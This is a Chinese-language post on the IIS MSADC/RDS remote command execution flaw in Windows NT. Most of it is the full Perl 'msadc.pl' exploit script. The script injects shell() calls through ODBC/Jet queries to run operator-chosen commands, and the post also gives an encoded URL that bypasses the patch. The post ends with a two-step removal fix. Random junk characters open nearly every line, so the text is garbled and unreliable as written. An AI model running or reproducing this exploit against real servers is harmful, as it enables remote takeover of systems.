IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8ilbX)O AG7}$O. 涉及程序:
F47n_JV!d Microsoft NT server
pL@zZK0 _kHpM :;. 描述:
%SGO"*_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M9#QS`G p|d9g
^ 详细:
0UJ`<Bfd 如果你没有时间读详细内容的话,就删除:
[,^dM:E/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
3ms/v:\ 有关的安全问题就没有了。
$k ma#7 7]%il[ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1Q SIZoK7 yU"G|Ex 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<o+
7U 关于利用ODBC远程漏洞的描述,请参看:
yk<jlVF$j N o(f0g. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2.D!4+& /8}+#h)[ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Ye2];(M http://www.microsoft.com/security/bulletins/MS99-025faq.asp x\.i`ukx >k}/$R+ 这里不再论述。
Y:%)cUxA K eI:/2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
CLEG'bZa, e:LZ s0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dyzwJ70K 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}+
2"?f|]
~8t}*oV l;*lPRoW, #将下面这段保存为txt文件,然后: "perl -x 文件名"
GB?#1|, \GvY`kt3 #!perl
AvE^
F1 #
d7J[.^\ # MSADC/RDS 'usage' (aka exploit) script
q7&yb.<KD. #
I#t9aR+& # by rain.forest.puppy
93IOG{OAY #
4AOS}@~W # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
U;{,lS2l # beta test and find errors!
C;q}3c*L _(`X .D use Socket; use Getopt::Std;
:{:?D\%6 getopts("e:vd:h:XR", \%args);
d._gH#&v Q
*]`t@q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^HFU@/ IS2Ij if (!defined $args{h} && !defined $args{R}) {
s~Wu0%])Q print qq~
; axaZV Usage: msadc.pl -h <host> { -d <delay> -X -v }
xdfvme[ -h <host> = host you want to scan (ip or domain)
X/-KkC -d <seconds> = delay between calls, default 1 second
Cw[Od"B\?U -X = dump Index Server path table, if available
#A/J^Ko -v = verbose
hcd>A vC8 -e = external dictionary file for step 5
(1SO;8k\ :Q
?J}N Or a -R will resume a command session
5**5b9bj-9 on;sq8; ~; exit;}
fsJTwSI[" # )mkD4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[gkRXP[DGs if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A
Ok7G?Y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h0GdFWN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/P!X4~sTM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4 uy @ { if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
9Ir~X|}\iL y-<PsP-I if (!defined $args{R}){ $ret = &has_msadc;
t+!gzZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<]Pix) ?PE1aB+{: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
df4^C->: . "cmd /c ";
>9tkx/J $in=<STDIN>; chomp $in;
>\7RIy3 $command="cmd /c " . $in ;
EkStb# 3]`qnSYBv if (defined $args{R}) {&load; exit;}
!|<f%UO )fd-IYi-3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Rhv".epz &try_btcustmr;
t6bWSz0 !
jX+ox print "\nStep 2: Trying to make our own DSN...";
nhP~jJn &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oyN+pFVB:$ ccN &h print "\nStep 3: Trying known DSNs...";
ay:\P.`5) &known_dsn;
NkA6Cp[Q,1 h`EH~ W0:z print "\nStep 4: Trying known .mdbs...";
S?nNZW\6[ &known_mdb;
L\:YbS~] z<[.MH`ln if (defined $args{e}){
U.pr} hq print "\nStep 5: Trying dictionary of DSN names...";
@0UwI%. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2>MP:yY;K Eo {1y print "Sorry Charley...maybe next time?\n";
XuFm4DEJ exit;
}U?gKlLg j |'#5H` ##############################################################################
@%G' U&R{ D2TXOPH sub sendraw { # ripped and modded from whisker
hDB`t
$ sleep($delay); # it's a DoS on the server! At least on mine...
7:VEM;[d my ($pstr)=@_;
Xw*%3' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
il IV}8 die("Socket problems\n");
!QQ<Ai!E if(connect(S,pack "SnA4x8",2,80,$target)){
k\Z;Cmh> select(S); $|=1;
neB.Wu~WH print $pstr; my @in=<S>;
^C:{z)"h select(STDOUT); close(S);
5gc:Y`7t return @in;
]O[+c*|w } else { die("Can't connect...\n"); }}
Q_dXRBv=n dS3>q<J*a ##############################################################################
o}mhy`} vbWJhjK0h sub make_header { # make the HTTP request
w~Tq|kU[ my $msadc=<<EOT
ZM-/n> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
f
$.\o User-Agent: ACTIVEDATA
Gh$y#0qr Host: $ip
[L*[j.r7[ Content-Length: $clen
3Y1TQ;i,wQ Connection: Keep-Alive
c<+g|@A# zfP[1 ADCClientVersion:01.06
P,$[|)[E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
PtRj9TT 4[5lX C --!ADM!ROX!YOUR!WORLD!
|~/3u/ Content-Type: application/x-varg
^^4K/XBve Content-Length: $reqlen
W;OYO iJCY /*C} EOT
vGPf`2/j. ; $msadc=~s/\n/\r\n/g;
K'iS#i7 return $msadc;}
{hvQ<7b fz<|+(_>J ##############################################################################
EBj,pk5M XDP6T"h sub make_req { # make the RDS request
r|\5'ZMx my ($switch, $p1, $p2)=@_;
%67G]?EXB
my $req=""; my $t1, $t2, $query, $dsn;
?b*/ddIs EaM"=g if ($switch==1){ # this is the btcustmr.mdb query
1*! c
X $query="Select * from Customers where City=" . make_shell();
dr,B\.|jC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D% v:PYf $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
FhY{;-W(T _q$0lqq~u elsif ($switch==2){ # this is general make table query
%2@ Tj}xa $query="create table AZZ (B int, C varchar(10))";
|z!q
r}i $dsn="$p1";}
S|{Yvyp {UX"Epd);n elsif ($switch==3){ # this is general exploit table query
5bF9IH $query="select * from AZZ where C=" . make_shell();
AMh37Xo $dsn="$p1";}
G_2gKkIK- .\ ;l-U elsif ($switch==4){ # attempt to hork file info from index server
f7_\).T $query="select path from scope()";
L;.VEz! $dsn="Provider=MSIDXS;";}
r/N[7*i tAb;/tM3I elsif ($switch==5){ # bad query
IL+#ynC $query="select";
O:`GL1{ve? $dsn="$p1";}
' D)1ka. (!3Yc:~RE $t1= make_unicode($query);
o ;[C(OS $t2= make_unicode($dsn);
2p$n*|T&c $req = "\x02\x00\x03\x00";
1V*8,YiC< $req.= "\x08\x00" . pack ("S1", length($t1));
I<D&,LFH*w $req.= "\x00\x00" . $t1 ;
hV3,^#9o $req.= "\x08\x00" . pack ("S1", length($t2));
'WKu0Yi^' $req.= "\x00\x00" . $t2 ;
"B|nh d $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
mC*W2#1pF return $req;}
S F&M
(=w< p<of<YU) ##############################################################################
ESC Kf:2%_DB sub make_shell { # this makes the shell() statement
RJtixuvh@ return "'|shell(\"$command\")|'";}
8F O1`%8Oe [<en1 ##############################################################################
"J]f0m= 4 o3)* sub make_unicode { # quick little function to convert to unicode
6T^N!3p_ my ($in)=@_; my $out;
O_r^oH for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
t/v@vJ`vSH return $out;}
nu4Pc otWo^CE$ ##############################################################################
a^RZsR U=haXx4N sub rdo_success { # checks for RDO return success (this is kludge)
92P,:2`a my (@in) = @_; my $base=content_start(@in);
3n.+_ jQ>s if($in[$base]=~/multipart\/mixed/){
ppwd-^f3j return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w$DG=! return 0;}
]yyU)V0Iu rtB|N- ##############################################################################
+l2e[P+qA /p"U sub make_dsn { # this makes a DSN for us
g6rv`I$l my @drives=("c","d","e","f");
B8bvp:Ho| print "\nMaking DSN: ";
iyA*JCD foreach $drive (@drives) {
89*S?C1 print "$drive: ";
bh= \ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Tjd&^m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[=XZza.z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
O]e6i%? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t!6\7Vm/ return 0 if $2 eq "404"; # not found/doesn't exist
gzl%5`DB w if($2 eq "200") {
GAg.p?Sq foreach $line (@results) {
ox(* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sl~b\j } return 0;}
WafdE Q;XXgX#l ##############################################################################
fl!mYCPv {M` sub verify_exists {
L\QQjI{ my ($page)=@_;
3M}AxE u my @results=sendraw("GET $page HTTP/1.0\n\n");
'4J&Gp x return $results[0];}
8pXfT%] mBw2 ##############################################################################
1zdYBb6;j \1=T
sU&^ sub try_btcustmr {
rER~P\- my @drives=("c","d","e","f");
GYFgEg} my @dirs=("winnt","winnt35","winnt351","win","windows");
k
TF z_*6. B"~U<6s0 foreach $dir (@dirs) {
PLO\L W print "$dir -> "; # fun status so you can see progress
o&CghF foreach $drive (@drives) {
b cC\ print "$drive: "; # ditto
l9]o\JFXk $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|C~Sr#6)7 $reqlenlen=length( "$reqlen" );
l)}<#Ri $clen= 206 + $reqlenlen + $reqlen;
b2a'KczV 9U!JK3d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~&lQNl3`m6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
V^j3y`K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
08`f7[JQo] I|$'Q$m~ ##############################################################################
V%i<;C Zkw J.SuU sub odbc_error {
PqTYAN&F my (@in)=@_; my $base;
b OW}" my $base = content_start(@in);
'*8 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,yTN$K%M $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{;U} :Dx $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w+Ad$4Pf" $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D*|(
p6v1& return $in[$base+4].$in[$base+5].$in[$base+6];}
-s{R/ 6: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
jjxIS print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
RI?NB6U $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#N; $ ;_x2Ymw ##############################################################################
C#Y,r)l ?A|zRj{ sub verbose {
D 5=C^`$2 my ($in)=@_;
fW(; return if !$verbose;
fwRGT|":B print STDOUT "\n$in\n";}
oz Vpfs *^n^nnCwp ##############################################################################
7TP$ #g,H("Qy({ sub save {
[`q.A`Fd my ($p1, $p2, $p3, $p4)=@_;
Gj6<s./ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Lt>?y&CcQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
mG
X\wta close OUT;}
Z&TD+fT< i"/ r)>"b ##############################################################################
)sqaR^ 8^i[j\Y;6 sub load {
'zE:
fLo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
F/)f,sZF open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ki#y&{v9Be @p=<IN>; close(IN);
4 uShM0qa $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#U\$@4D $target= inet_aton($ip) || die("inet_aton problems");
"pYe-_"@ print "Resuming to $ip ...";
,Ak ^nX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Nc,*hsx' if($p[1]==1) {
6!@0VI&P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Bhj:9%` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&.hoCPo$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
S
9WawI if (rdo_success(@results)){print "Success!\n";}
Lg8]dBXu else { print "failed\n"; verbose(odbc_error(@results));}}
2ed@HJu elsif ($p[1]==3){
Ec+22X if(run_query("$p[3]")){
?.8<- print "Success!\n";} else { print "failed\n"; }}
:#qUMiu$ elsif ($p[1]==4){
r|M'TA~: if(run_query($drvst . "$p[3]")){
'HCnB]1 print "Success!\n"; } else { print "failed\n"; }}
I I&< exit;}
5qGGu.$Ihi "=FIFf ##############################################################################
anLbl#UV FWIih5 3` sub create_table {
\{lE0j7}h my ($in)=@_;
hX&-/fF+f $reqlen=length( make_req(2,$in,"") ) - 28;
<8$Md4r $reqlenlen=length( "$reqlen" );
f7.m=lbe $clen= 206 + $reqlenlen + $reqlen;
5H~@^!7t my @results=sendraw(make_header() . make_req(2,$in,""));
(:JjQ`i return 1 if rdo_success(@results);
)q^(T1 my $temp= odbc_error(@results); verbose($temp);
0Qt~K#mr/ return 1 if $temp=~/Table 'AZZ' already exists/;
iW'_R{)T return 0;}
h5j<u 7$K}qsr< ##############################################################################
R \ia6 #o~[1K+Yq sub known_dsn {
YjX*)Q_sl? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%S c=_%6 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1PmX."a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
N_0pO<<cs "banner", "banners", "ads", "ADCDemo", "ADCTest");
pVY4q0@ D]jkR} t foreach $dSn (@dsns) {
Jlz9E|*qV print ".";
]/a
g*F next if (!is_access("DSN=$dSn"));
7O"hiDQ if(create_table("DSN=$dSn")){
&h\7^=s. print "$dSn successful\n";
_OLI%o if(run_query("DSN=$dSn")){
'g2vX&=$A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s_TD4~
$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
9+t=|
K,6OGsh ##############################################################################
(N7O+3+G {|Bd?U; sub is_access {
\,hrk~4U;( my ($in)=@_;
$ND90my $reqlen=length( make_req(5,$in,"") ) - 28;
|g+! $reqlenlen=length( "$reqlen" );
<;aJ#qT $clen= 206 + $reqlenlen + $reqlen;
!KAsvF,j my @results=sendraw(make_header() . make_req(5,$in,""));
A4}#U=3tI my $temp= odbc_error(@results);
.ByU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b22LT52 return 0;}
(xbIUz. db'K!M) ##############################################################################
2?*||c==* eJW[ ] ! sub run_query {
4?
v,wq my ($in)=@_;
,!hnm $reqlen=length( make_req(3,$in,"") ) - 28;
\x(.d.l/ $reqlenlen=length( "$reqlen" );
UP?D@ogl< $clen= 206 + $reqlenlen + $reqlen;
;HP#bx my @results=sendraw(make_header() . make_req(3,$in,""));
xvdY
8%S return 1 if rdo_success(@results);
dt<~sOT3s my $temp= odbc_error(@results); verbose($temp);
B O]=vH return 0;}
v"/TmiZ l!/!?^8|f ##############################################################################
>GmN~"iJ 4
]sCr+ sub known_mdb {
~x\Cmu9` my @drives=("c","d","e","f","g");
Z~_8P my @dirs=("winnt","winnt35","winnt351","win","windows");
svqvG7 my $dir, $drive, $mdb;
Vli3>K& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k},> ^qE lYP~3wp99 # this is sparse, because I don't know of many
I.-v?1>, my @sysmdbs=( "\\catroot\\icatalog.mdb",
UTvs
|[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:SK<2<8h "\\system32\\certmdb.mdb",
IKo;9|2U "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
LfHzT<)| J$rJd9t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
y #69|G "\\cfusion\\cfapps\\forums\\forums_.mdb",
<>n9'i1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
lJUy;yp_+ "\\cfusion\\cfapps\\security\\realm_.mdb",
\1]rlzXGUT "\\cfusion\\cfapps\\security\\data\\realm.mdb",
W-ez[raY "\\cfusion\\database\\cfexamples.mdb",
_Ds@lVY "\\cfusion\\database\\cfsnippets.mdb",
P,U$ %C! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d-h"JZ9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b9DR%hO: "\\cfusion\\brighttiger\\database\\cleam.mdb",
/,LfA2^_j{ "\\cfusion\\database\\smpolicy.mdb",
o(zTNk5d "\\cfusion\\database\cypress.mdb",
`Klrr "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ODek%0= "\\website\\cgi-win\\dbsample.mdb",
x^X$M$o,l "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mbGcDG[HQ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*Wso3 6an ); #these are just
p&\K9hfi foreach $drive (@drives) {
dHq# foreach $dir (@dirs){
McP~}"!^ foreach $mdb (@sysmdbs) {
_0.pvQ print ".";
>(OYK}ZN if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
HS7_MGU print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/LF3O~Go if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
dqxd3,Z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$
o"
L;j } else { print "Something's borked. Use verbose next time\n"; }}}}}
SHwRX?
B| 8""mp]o9 foreach $drive (@drives) {
!!*;4FK"q foreach $mdb (@mdbs) {
M7vj^mt? print ".";
N ocFvF7\ if(create_table($drv . $drive . $dir . $mdb)){
S~> 5INud print "\n" . $drive . $dir . $mdb . " successful\n";
xD4$0Ppu if(run_query($drv . $drive . $dir . $mdb)){
#)`\!)? print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
26 ?23J
; } else { print "Something's borked. Use verbose next time\n"; }}}}
~#q;bS }
*Q5x1!#z# Z}+yI, ##############################################################################
VAs(.y Y1WHy*s? sub hork_idx {
!LiQ 1`V{ print "\nAttempting to dump Index Server tables...\n";
@/ k x
er print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ULIFSd Y $reqlen=length( make_req(4,"","") ) - 28;
!*_K.1' $reqlenlen=length( "$reqlen" );
YmgCl!r@ $clen= 206 + $reqlenlen + $reqlen;
;iQp7aW{$ my @results=sendraw2(make_header() . make_req(4,"",""));
5 < GDW= if (rdo_success(@results)){
+6oG@ my $max=@results; my $c; my %d;
jq[x DwPG for($c=19; $c<$max; $c++){
;NP[_2|-, $results[$c]=~s/\x00//g;
B4^`Sw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>(3'Tnu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~~q}cywBk $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ABZ06S/ $d{"$1$2"}="";}
hiN/S|JN8y foreach $c (keys %d){ print "$c\n"; }
lV)G@l[1 } else {print "Index server doesn't seem to be installed.\n"; }}
>C# kqxfg cQn)^jx= ##############################################################################
x6%#wsvS x2m]Us@LIU sub dsn_dict {
LipxAE?O open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9~~UM<66W while(<IN>){
np=kTJ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`iQqhx next if (!is_access("DSN=$dSn"));
ul=7>";=| if(create_table("DSN=$dSn")){
~#Aa Ldq print "$dSn successful\n";
]F+K|X9- if(run_query("DSN=$dSn")){
sf)W~Lx5a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lQL:3U0DjU print "Something's borked. Use verbose next time\n";}}}
tr=@+WHp print "\n"; close(IN);}
]u0Jd#@ a_{6Qdl ##############################################################################
dyO E6Ex s:b"\7 sub sendraw2 { # ripped and modded from whisker
c3#q0Ma sleep($delay); # it's a DoS on the server! At least on mine...
\8>oJR 6 my ($pstr)=@_;
6c &Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>A=\8`T^ die("Socket problems\n");
(bvoF5% if(connect(S,pack "SnA4x8",2,80,$target)){
nB&j
print "Connected. Getting data";
R04J3D| open(OUT,">raw.out"); my @in;
SK-W%t select(S); $|=1; print $pstr;
@[v8}D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@RVOXkVo close(OUT); select(STDOUT); close(S); return @in;
c&m9)r~zP } else { die("Can't connect...\n"); }}
Jn#K0(FQ ]
D6|o5 ##############################################################################
uw"*zBxl k!owl+a
sub content_start { # this will take in the server headers
;{Jb6'K1h my (@in)=@_; my $c;
c{4R*|^ for ($c=1;$c<500;$c++) {
U0IE1_R if($in[$c] =~/^\x0d\x0a/){
,ux+Qz5( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]7vf#1i< else { return $c+1; }}}
7=3O^=Q^Q return -1;} # it should never get here actually
O,irpQ ?(D}5`Nfu ##############################################################################
tN2 W8d LwQH6 !;[ sub funky {
Q7(eq0na my (@in)=@_; my $error=odbc_error(@in);
CjKRP;5 if($error=~/ADO could not find the specified provider/){
?bI?GvSh print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y`^o7'Z2^P exit;}
$20s]ywS if($error=~/A Handler is required/){
~-<:+9m print "\nServer has custom handler filters (they most likely are patched)\n";
EY$?^iS exit;}
DY.58IHg1 if($error=~/specified Handler has denied Access/){
l{Er+)a print "\nServer has custom handler filters (they most likely are patched)\n";
u E.^w;~2= exit;}}
_Wma\(3$ k FLT!k ##############################################################################
k{-`]qiK ?d5h9}B sub has_msadc {
3+9
U1:1[. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
q~h:<,5 my $base=content_start(@results);
Mpm#GdT return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^*>n4U return 0;}
-)RJ\V^{9 ]]/lC ########################
xiCN
qk3 PpFsp( )x !
Rvn'|! 解决方案:
e1uMR-Q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Pb4q`! 2、移除web 目录: /msadc